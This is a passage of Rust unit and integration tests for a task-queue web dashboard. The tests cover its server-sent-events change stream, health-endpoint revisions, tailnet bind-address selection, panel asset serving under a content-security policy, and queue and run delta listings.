22026        assert!(
22027            APP_JS.contains("function openRunsFiltered(status)"),
22028            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22029        );
22030        assert!(
22031            APP_JS.contains(
22032                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22033            ),
22034            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22035        );
22036        // applyRoute() only flips which view is visible for a plain `#runs`
22037        // hash - it does not itself redraw the list (see applyRoute's own
22038        // handling below) - so openRunsFiltered must call renderRuns()
22039        // itself, and must call applyRoute() too so the view flips even
22040        // when the hash string doesn't change (the operator may already be
22041        // on the Runs view when a tile is tapped, which fires no
22042        // hashchange event at all).
22043        assert!(
22044            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22045            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22046             hashchange event that may never fire"
22047        );
22048    }
22049
22050    #[test]
22051    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22052        // A stats tile can leave state.runsFilter.status set to something
22053        // done-by-construction (e.g. "merged") - picking "Active" afterward
22054        // must drop it the same way an incompatible tree section is already
22055        // dropped, or the Runs list renders permanently empty with no way
22056        // for the operator to tell why.
22057        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22058        assert!(
22059            APP_JS.contains(
22060                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22061            ),
22062            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22063             guard for an incompatible tree section"
22064        );
22065    }
22066
22067    #[test]
22068    fn every_stats_queue_tile_names_a_real_queue_section() {
22069        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22070        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22071        // (consumeQueueSectionFocus finds no matching <details> and drops
22072        // the focus) rather than fail loudly, so pin every key against the
22073        // section list it has to resolve against.
22074        assert!(
22075            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22076            "every queue tile built through sectionTile() must route its click through \
22077             openQueueSectionFocus"
22078        );
22079        for key in ["upnext", "running", "done", "held", "blocked"] {
22080            assert!(
22081                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22082                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22083            );
22084        }
22085        // Queued and Failed intentionally both resolve to "upnext" - the
22086        // same section queueSection() itself files them under - rather than
22087        // getting a section each.
22088        for line in [
22089            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22090            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22091            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22092            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22093            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22094            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22095        ] {
22096            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22097        }
22098    }
22099
22100    #[test]
22101    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22102        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22103        // above for the section-focus channel a stats queue tile drives:
22104        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22105        // through the stale-search-clear recursion into renderQueue(), and
22106        // clear it only once revealQueueSection() is actually about to run -
22107        // the same trap that once silently dropped a task-focus jump.
22108        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22109        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22110        assert!(APP_JS.contains("function revealQueueSection(details)"));
22111        assert!(
22112            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22113            "renderQueue() must consume both focus channels on every pass"
22114        );
22115        assert!(
22116            APP_JS.contains(
22117                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22118            ),
22119            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22120             the recursive renderQueue() call has nothing left to reveal"
22121        );
22122        assert!(
22123            APP_JS.contains(
22124                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22125            ),
22126            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22127        );
22128        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22129        // task-focus form of the hash - a plain `#queue` navigation only
22130        // flips which view is visible. openQueueSectionFocus() must
22131        // therefore call renderQueue() itself, and applyRoute() too so the
22132        // view flips even when the hash doesn't change (the Backlog may
22133        // already be open when a tile is tapped, firing no hashchange
22134        // event at all).
22135        assert!(
22136            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22137            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22138             hashchange event that may never fire"
22139        );
22140    }
22141
22142    #[tokio::test]
22143    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22144        let f = Fixture::start().await;
22145
22146        let mut socket = tokio::net::TcpStream::connect(f.addr)
22147            .await
22148            .expect("connect");
22149        socket
22150            .write_all(
22151                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22152            )
22153            .await
22154            .expect("write request");
22155
22156        // Read until the first event arrives rather than to end of stream: the
22157        // stream is endless by design, which is the point of the route.
22158        let mut seen = String::new();
22159        let mut buf = [0u8; 1024];
22160        while !seen.contains("event: change") {
22161            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22162                .await
22163                .expect("the stream must speak within five seconds")
22164                .expect("read");
22165            assert!(read > 0, "the server closed the change stream: {seen}");
22166            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22167        }
22168
22169        assert!(
22170            seen.to_lowercase()
22171                .contains("content-type: text/event-stream"),
22172            "the browser only reconnects automatically for a real SSE stream: {seen}"
22173        );
22174        let data = seen
22175            .lines()
22176            .find_map(|l| l.strip_prefix("data:"))
22177            .expect("a data line");
22178        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22179        assert!(
22180            payload["queue_rev"].is_u64()
22181                && payload["runs_rev"].is_u64()
22182                && payload["questions_rev"].is_u64()
22183                && payload["talks_rev"].is_u64()
22184                && payload["notifications_rev"].is_u64()
22185                && payload["loop_rev"].is_u64(),
22186            "the client needs one revision per store to know what to refetch, \
22187             and `talks_rev` is the only notification a standing talk gets - a \
22188             phone whose radio slept through a turn learns about it here, as \
22189             does one whose operator started the loop from another device: \
22190             {payload}"
22191        );
22192
22193        // The front end re-polls health on a timer and on wake, and takes the
22194        // revisions from that answer whenever the stream is not up. So health
22195        // has to carry every key the stream carries: a phone on a link that
22196        // will not hold an SSE connection is exactly the phone that must still
22197        // notice a question, and a missing key there is not a 500 but a UI
22198        // that quietly stops updating.
22199        let health = f.get("/api/health").await.json();
22200        for key in [
22201            "queue_rev",
22202            "runs_rev",
22203            "questions_rev",
22204            "talks_rev",
22205            "notifications_rev",
22206            "loop_rev",
22207        ] {
22208            assert!(
22209                health[key].is_u64(),
22210                "health is the change stream's fallback and is missing `{key}`: {health}"
22211            );
22212        }
22213    }
22214
22215    #[tokio::test]
22216    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22217        let home = TempDir::new().expect("temp home");
22218        let ui = delta_test_ui(home.path());
22219        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22220        // Establish the existing conversation's baseline before appending.
22221        // Wait on the stream's shared notification rather than repeatedly
22222        // rebuilding health (config, process and disk observations included).
22223        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22224        let mut changes = ui.monitor.broadcaster.subscribe();
22225        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22226        on_disk.turns.push(crate::talk::Turn {
22227            sender: None,
22228            breaks: Some(Vec::new()),
22229            messages: Vec::new(),
22230            posted_by: None,
22231            who: crate::talk::Who::Operator,
22232            body: "a new turn".to_owned(),
22233            at: Timestamp::now(),
22234            attachments: Vec::new(),
22235            usage: None,
22236        });
22237        ui.talks.put(&mut on_disk).expect("record a turn");
22238
22239        let after = tokio::time::timeout(Duration::from_secs(5), async {
22240            loop {
22241                let change = changes.recv().await.expect("monitor notification");
22242                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22243                if revision != before {
22244                    assert_eq!(
22245                        change.payload["talks_delta"]["changed"],
22246                        serde_json::json!([talk])
22247                    );
22248                    break revision;
22249                }
22250            }
22251        })
22252        .await
22253        .expect("shared monitor observes external turn");
22254        assert_ne!(
22255            before, after,
22256            "a phone must be able to notice a talk's reply without polling every store"
22257        );
22258        let Json(observed) = health(State(ui)).await.expect("health");
22259        assert_eq!(
22260            observed.talks_rev, after,
22261            "health exposes the same revision"
22262        );
22263    }
22264
22265    #[test]
22266    fn bind_reads_back_from_the_spelling_the_cli_prints() {
22267        // The CLI shows the default in `--help` and parses whatever comes
22268        // back, so the two directions have to agree or `--bind auto` breaks
22269        // the moment someone copies the help text.
22270        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
22271            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
22272        }
22273        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
22274        assert!("everywhere".parse::<Bind>().is_err());
22275    }
22276
22277    #[test]
22278    fn an_explicit_bind_address_is_taken_verbatim() {
22279        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22280
22281        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22282
22283        assert_eq!(addr, asked);
22284        assert!(
22285            warning.is_none(),
22286            "an operator who named an address gets no lecture"
22287        );
22288    }
22289
22290    #[test]
22291    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22292        let (addr, warning) = resolve_bind(&Bind::Auto);
22293
22294        // This has to hold on a CI runner with no `tailscale` and on a dev box
22295        // with one, so the invariant asserted is the one shared by both
22296        // outcomes: the address is either a real tailnet address offered
22297        // without comment, or loopback with an explanation. What must never
22298        // happen is a silent fallback - an operator told "listening on
22299        // 127.0.0.1" with no reason would go looking for a firewall.
22300        match addr {
22301            IpAddr::V4(ip) if is_tailnet(&ip) => {
22302                assert!(warning.is_none(), "a tailnet address needs no warning");
22303            }
22304            other => {
22305                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22306                let warning = warning.expect("a fallback has to explain itself");
22307                assert!(
22308                    warning.contains("127.0.0.1") && warning.contains("local-only"),
22309                    "the warning says what happened and what it costs: {warning}"
22310                );
22311            }
22312        }
22313    }
22314
22315    #[test]
22316    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22317        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
22318        // boundary cases are what stop us binding to some other tool's idea of
22319        // an address.
22320        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22321        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22322        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22323        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22324        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22325    }
22326
22327    #[test]
22328    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22329        let ids = vec![
22330            "20260902-140501-aaaa".to_owned(),
22331            "20260902-140502-aabb".to_owned(),
22332        ];
22333
22334        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22335        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22336        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22337
22338        assert_eq!(missing.status, StatusCode::NOT_FOUND);
22339        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22340        assert_eq!(short, "20260902-140502-aabb");
22341    }
22342    #[tokio::test]
22343    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22344        // The prompt tells agents to reference attachments by bare filename.
22345        // A document served at `.../panel` resolves `shot.png` against its own
22346        // directory, i.e. `.../shot.png`, which is not the asset route - so a
22347        // panel written exactly as instructed showed broken images. Caught by
22348        // looking at a real one in a browser, not by reading the code.
22349        let fx = Fixture::start().await;
22350        let id = panel(
22351            &fx,
22352            "<img src=\"shot.png\">",
22353            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22354        );
22355
22356        // The frame's own URL ends in a filename, so its siblings are reachable.
22357        let doc = fx
22358            .get(&format!("/api/questions/{id}/panel/index.html"))
22359            .await;
22360        assert_eq!(doc.status, 200, "{}", doc.body);
22361        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22362
22363        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22364        assert_eq!(sibling.status, 200, "{}", sibling.body);
22365        assert_eq!(sibling.header("content-type"), Some("image/png"));
22366        assert_eq!(
22367            sibling.header("content-security-policy"),
22368            Some(PANEL_CSP),
22369            "the sibling route must carry the same policy as the asset route"
22370        );
22371
22372        // The original spelling keeps working: HEAD on it is how the front end
22373        // decides whether to mount a frame at all.
22374        assert_eq!(
22375            fx.head(&format!("/api/questions/{id}/panel")).await.status,
22376            200
22377        );
22378    }
22379
22380    #[test]
22381    fn delta_stamps_cover_add_update_remove_and_noop() {
22382        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22383        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22384        let delta = diff_stamps(&before, &after, 42);
22385        assert_eq!(delta.base, 42);
22386        assert_eq!(delta.changed, ["b", "c"]);
22387        assert_eq!(delta.removed, ["a"]);
22388        let same = diff_stamps(&after, &after, 43);
22389        assert!(same.changed.is_empty() && same.removed.is_empty());
22390        assert_ne!(stamps_revision(&before), stamps_revision(&after));
22391        let nanos: Stamps = [("b".into(), (2, 20))].into();
22392        let same_ms: Stamps = [("b".into(), (3, 20))].into();
22393        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22394        assert_eq!(stamps_revision(&Stamps::new()), 0);
22395    }
22396
22397    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22398        std::fs::create_dir_all(home.join("runs")).unwrap();
22399        Arc::new(
22400            Ui::new(
22401                Queue::at(home.join("queue")),
22402                Questions::at(home.join("questions")),
22403                Talks::at(home.join("talks")),
22404                home.join("runs"),
22405                home.to_owned(),
22406                PathBuf::from("/repo/magi"),
22407            )
22408            .with_worktrees_root(home.join("wt")),
22409        )
22410    }
22411
22412    #[test]
22413    fn monitor_scan_isolates_store_failures_and_recovers() {
22414        let home = TempDir::new().unwrap();
22415        let ui = delta_test_ui(home.path());
22416        std::fs::create_dir_all(ui.questions.root()).unwrap();
22417        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22418        let before = monitor_scan(&ui, None);
22419        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22420        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22421        std::fs::create_dir_all(ui.talks.root()).unwrap();
22422        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22423        let during = monitor_scan(&ui, Some(before.clone()));
22424        assert_eq!(during.0.2, before.0.2);
22425        assert_ne!(during.0.3, before.0.3);
22426        assert!(during.1[2].contains_key("new"));
22427        std::fs::remove_file(ui.questions.root()).unwrap();
22428        let after = monitor_scan(&ui, Some(during));
22429        assert_eq!(after.0.2, 0);
22430        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22431        // A failed first scan also permits healthy stores to publish.
22432        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22433        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22434    }
22435
22436    #[tokio::test]
22437    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22438        let home = TempDir::new().unwrap();
22439        let ui = delta_test_ui(home.path());
22440        let mut task = Task::new(
22441            "stream task".into(),
22442            "text".into(),
22443            PathBuf::from("/repo"),
22444            Source::Human,
22445        );
22446        ui.queue.put(&mut task).unwrap();
22447        let response = events(State(ui.clone())).await.into_response();
22448        let mut stream = response.into_body().into_data_stream();
22449        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22450            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22451                .await
22452                .unwrap()
22453                .unwrap()
22454                .unwrap();
22455            let text = String::from_utf8(chunk.to_vec()).unwrap();
22456            let data = text
22457                .lines()
22458                .find_map(|line| {
22459                    line.strip_prefix("data: ")
22460                        .or_else(|| line.strip_prefix("data:"))
22461                })
22462                .unwrap();
22463            serde_json::from_str(data).unwrap()
22464        }
22465        let initial = change(&mut stream).await;
22466        assert!(initial.get("queue_delta").is_none());
22467        task.instruction.push_str(" changed");
22468        ui.queue.put(&mut task).unwrap();
22469        let updated = change(&mut stream).await;
22470        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22471        assert_eq!(
22472            updated["queue_delta"]["changed"],
22473            serde_json::json!([task.id])
22474        );
22475        assert_eq!(
22476            updated["queue_rev"].as_u64(),
22477            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22478        );
22479        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22480        let removed = change(&mut stream).await;
22481        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22482        assert_eq!(
22483            removed["queue_delta"]["removed"],
22484            serde_json::json!([task.id])
22485        );
22486    }
22487
22488    #[tokio::test]
22489    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22490        let home = TempDir::new().unwrap();
22491        let ui = delta_test_ui(home.path());
22492        let queue = ui.queue.clone();
22493        let query = |ids: Option<&str>| {
22494            Query(ListQuery {
22495                limit: Some(2),
22496                ids: ids.map(str::to_owned),
22497            })
22498        };
22499        let mut root = Task::new(
22500            "root".into(),
22501            "instruction".into(),
22502            PathBuf::from("/repo"),
22503            Source::Human,
22504        );
22505        queue.put(&mut root).unwrap();
22506        let mut blocked = Task::new(
22507            "blocked".into(),
22508            "instruction".into(),
22509            PathBuf::from("/repo"),
22510            Source::Human,
22511        );
22512        blocked.block(vec![root.id.clone()], None);
22513        queue.put(&mut blocked).unwrap();
22514        let whole =
22515            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22516                .unwrap();
22517        let subset = serde_json::to_value(
22518            queue_list(State(ui.clone()), query(Some(&root.id)))
22519                .await
22520                .unwrap()
22521                .0,
22522        )
22523        .unwrap();
22524        assert_eq!(whole, subset, "requested root plus its blocked dependent");
22525        let blockers = serde_json::to_value(
22526            queue_list(State(ui.clone()), query(Some("")))
22527                .await
22528                .unwrap()
22529                .0,
22530        )
22531        .unwrap();
22532        assert_eq!(blockers.as_array().unwrap().len(), 1);
22533        assert_eq!(blockers[0]["id"], blocked.id);
22534        assert_eq!(
22535            blockers[0]["waits_on"],
22536            whole
22537                .as_array()
22538                .unwrap()
22539                .iter()
22540                .find(|row| row["id"] == blocked.id)
22541                .unwrap()["waits_on"]
22542        );
22543
22544        for id in [
22545            "20260902-140501-aaaa",
22546            "20260902-140502-bbbb",
22547            "20260902-140503-cccc",
22548        ] {
22549            write_run(&ui.runs, id, RunStatus::Merged);
22550        }
22551        let old = serde_json::to_value(
22552            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22553                .await
22554                .unwrap()
22555                .0,
22556        )
22557        .unwrap();
22558        assert!(
22559            old.as_array().unwrap().is_empty(),
22560            "older updates must not enter the window"
22561        );
22562        let newest = serde_json::to_value(
22563            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22564                .await
22565                .unwrap()
22566                .0,
22567        )
22568        .unwrap();
22569        assert_eq!(newest.as_array().unwrap().len(), 1);
22570        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22571
22572        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22573        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22574        let talks = serde_json::to_value(
22575            talks_list(
22576                State(ui.clone()),
22577                query(Some("20260905-000000-d4e5")),
22578                header::HeaderMap::new(),
22579            )
22580            .await
22581            .unwrap()
22582            .0,
22583        )
22584        .unwrap();
22585        assert_eq!(talks.as_array().unwrap().len(), 1);
22586        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22587        assert_eq!(
22588            serde_json::to_value(
22589                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22590                    .await
22591                    .unwrap()
22592                    .0
22593            )
22594            .unwrap(),
22595            serde_json::json!([])
22596        );
22597    }
22598
22599    #[tokio::test]
22600    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22601    async fn delta_payload_benchmark() {
22602        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22603        let ui = delta_test_ui(&home);
22604        let query = |ids: Option<String>| {
22605            Query(ListQuery {
22606                limit: Some(50),
22607                ids,
22608            })
22609        };
22610        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22611        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22612        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22613            .await
22614            .unwrap()
22615            .0;
22616        let queue_id = queue
22617            .iter()
22618            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22619            .unwrap_or(&queue[0])
22620            .task
22621            .id
22622            .clone();
22623        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22624            .await
22625            .unwrap()
22626            .0;
22627        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22628            .await
22629            .unwrap()
22630            .0;
22631        let talks_delta = talks_list(
22632            State(ui.clone()),
22633            query(Some(talks[0].id.clone())),
22634            header::HeaderMap::new(),
22635        )
22636        .await
22637        .unwrap()
22638        .0;
22639        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22640        eprintln!(
22641            "DELTA_PAYLOAD {}",
22642            serde_json::json!({
22643                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22644                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22645                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22646                "counts": [queue.len(), runs.len(), talks.len()],
22647                "blocked": queue_delta.len() - 1,
22648            })
22649        );
22650    }
22651
22652    #[test]
22653    fn runs_revision_moves_when_deleting_an_older_run() {
22654        let temp = TempDir::new().expect("tempdir");
22655        let runs = temp.path().join("runs");
22656        std::fs::create_dir_all(&runs).expect("create runs dir");
22657
22658        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22659
22660        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22661        std::thread::sleep(Duration::from_millis(10));
22662        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22663
22664        let rev_before = runs_revision(&runs);
22665        assert!(rev_before > 0);
22666
22667        let old_dir = runs.join("20260901-100000-old1");
22668        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22669
22670        let rev_after = runs_revision(&runs);
22671        assert_ne!(
22672            rev_before, rev_after,
22673            "deleting an older run must change the revision so other clients see the deletion"
22674        );
22675    }
22676
22677    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22678    /// process-global home entirely — `RunState::save` writes through
22679    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22680    /// (see `tests::home_lock` in the integration suite for why).
22681    fn write_state(runs: &FsPath, state: &RunState) {
22682        let dir = runs.join(&state.id);
22683        std::fs::create_dir_all(&dir).expect("run dir");
22684        std::fs::write(
22685            dir.join("run.json"),
22686            serde_json::to_string_pretty(state).expect("serialize run"),
22687        )
22688        .expect("write run.json");
22689    }
22690
22691    /// A seat starting or finishing is a write to `run.json` like any other,
22692    /// so it moves the same revision the change stream already watches —
22693    /// nothing new for `/api/events` to learn, but the property this feature
22694    /// depends on to reach the phone without a poll.
22695    #[test]
22696    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22697        let temp = TempDir::new().expect("tempdir");
22698        let runs = temp.path().join("runs");
22699        std::fs::create_dir_all(&runs).expect("create runs dir");
22700        let mut state = RunState::new(
22701            PathBuf::from("/repo/magi"),
22702            "main".to_owned(),
22703            "0123456789abcdef".to_owned(),
22704            "task".to_owned(),
22705            Config::default(),
22706        );
22707        state.id = "20260902-100000-c0de".to_owned();
22708        write_state(&runs, &state);
22709
22710        let rev_idle = runs_revision(&runs);
22711        std::thread::sleep(Duration::from_millis(10));
22712        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22713        write_state(&runs, &state);
22714        let rev_started = runs_revision(&runs);
22715        assert_ne!(
22716            rev_idle, rev_started,
22717            "a seat starting must move the revision"
22718        );
22719
22720        std::thread::sleep(Duration::from_millis(10));
22721        state.seat_finished("judge-1");
22722        write_state(&runs, &state);
22723        let rev_finished = runs_revision(&runs);
22724        assert_ne!(
22725            rev_started, rev_finished,
22726            "and clearing it again must move the revision a second time"
22727        );
22728    }
22729
22730    #[tokio::test]
22731    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22732        // `TaskView` flattens `Task`, so this is really asserting that
22733        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22734        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22735        // never touched web.rs, so nothing here caught it if it had.
22736        let fx = Fixture::start().await;
22737        let q = fx.queue();
22738
22739        let mut t = Task::new(
22740            "Task".to_owned(),
22741            "Instruction".to_owned(),
22742            PathBuf::from("/repo"),
22743            Source::Human,
22744        );
22745        t.block(
22746            vec!["20260101-000000-dead".to_owned()],
22747            Some("waiting on Task 1".to_owned()),
22748        );
22749        t.answers.push(crate::queue::AnsweredQuestion {
22750            question: "Which backend?".to_owned(),
22751            answer: "SQLite".to_owned(),
22752        });
22753        q.put(&mut t).expect("put t");
22754
22755        let res = fx.get("/api/queue").await;
22756        assert_eq!(res.status, 200);
22757        let list = res.json();
22758        let view = list
22759            .as_array()
22760            .expect("array")
22761            .iter()
22762            .find(|v| v["id"] == t.id)
22763            .expect("task in list");
22764        assert_eq!(view["status_str"], "blocked");
22765        assert_eq!(
22766            view["blocked_by"],
22767            serde_json::json!(["20260101-000000-dead"])
22768        );
22769        assert_eq!(view["block_reason"], "waiting on Task 1");
22770        assert_eq!(view["answers"][0]["question"], "Which backend?");
22771        assert_eq!(view["answers"][0]["answer"], "SQLite");
22772
22773        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22774        // but never `answers` - that is a settled decision, not state
22775        // describing the current block, so it survives.
22776        let res = fx
22777            .post(&format!("/api/queue/{}/hold", t.short()), None)
22778            .await;
22779        assert_eq!(res.status, 200);
22780        let held = res.json();
22781        assert_eq!(held["status_str"], "held");
22782        assert_eq!(held["blocked_by"], serde_json::json!([]));
22783        assert!(held["block_reason"].is_null());
22784        assert_eq!(held["answers"][0]["answer"], "SQLite");
22785    }
22786
22787    #[tokio::test]
22788    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22789        let fx = Fixture::start().await;
22790        let queue = fx.queue();
22791        let questions = fx.questions();
22792        let mut task = Task::new(
22793            "Disk recovery".into(),
22794            "Inspect".into(),
22795            PathBuf::from("/repo"),
22796            Source::Human,
22797        );
22798        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22799        task.mark_disk_capacity();
22800        queue.put(&mut task).unwrap();
22801        let mut records = Vec::new();
22802        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22803            let mut q = Question::new(
22804                task.id.clone(),
22805                node.into(),
22806                "triage".into(),
22807                "Resume recovery?".into(),
22808                String::new(),
22809                vec![],
22810            );
22811            q.routed_task = Some(task.id.clone());
22812            questions.put(&mut q).unwrap();
22813            records.push(q);
22814        }
22815        let url = format!("/api/queue/{}", task.id);
22816        let view = fx.get(&url).await.json();
22817        assert_eq!(view["status_str"], "held");
22818        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22819        assert!(
22820            view["recovery"]
22821                .as_str()
22822                .unwrap()
22823                .contains("Disk recovery alone will not resume")
22824        );
22825        assert!(
22826            view["recovery"]
22827                .as_str()
22828                .unwrap()
22829                .contains("Disk wait (automatically monitored)")
22830        );
22831        for blocker in view["blockers"].as_array().unwrap() {
22832            assert!(blocker["destination"].is_null());
22833            assert!(
22834                blocker["next"]
22835                    .as_str()
22836                    .unwrap()
22837                    .contains("pending delivery")
22838            );
22839        }
22840        for q in &mut records {
22841            q.routed_chat = Some("owning-chat".into());
22842            questions.put(q).unwrap();
22843        }
22844        let view = fx.get(&url).await.json();
22845        for blocker in view["blockers"].as_array().unwrap() {
22846            assert_eq!(
22847                blocker["destination"],
22848                serde_json::json!(["chat", "owning-chat"])
22849            );
22850            assert_eq!(blocker["resolves_itself"], false);
22851        }
22852        // Answered routed decisions can still be awaiting task-chat application.
22853        for q in &mut records {
22854            q.status = ask::QuestionStatus::Answered;
22855            questions.put(q).unwrap();
22856        }
22857        assert!(crate::triage::pending_for(&questions, &task));
22858        let view = fx.get(&url).await.json();
22859        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22860        assert!(
22861            view["blockers"][0]["next"]
22862                .as_str()
22863                .unwrap()
22864                .contains("not yet applied")
22865        );
22866        for q in &records {
22867            task.mark_triage_applied(&q.id);
22868        }
22869        queue.put(&mut task).unwrap();
22870        assert!(!crate::triage::pending_for(&questions, &task));
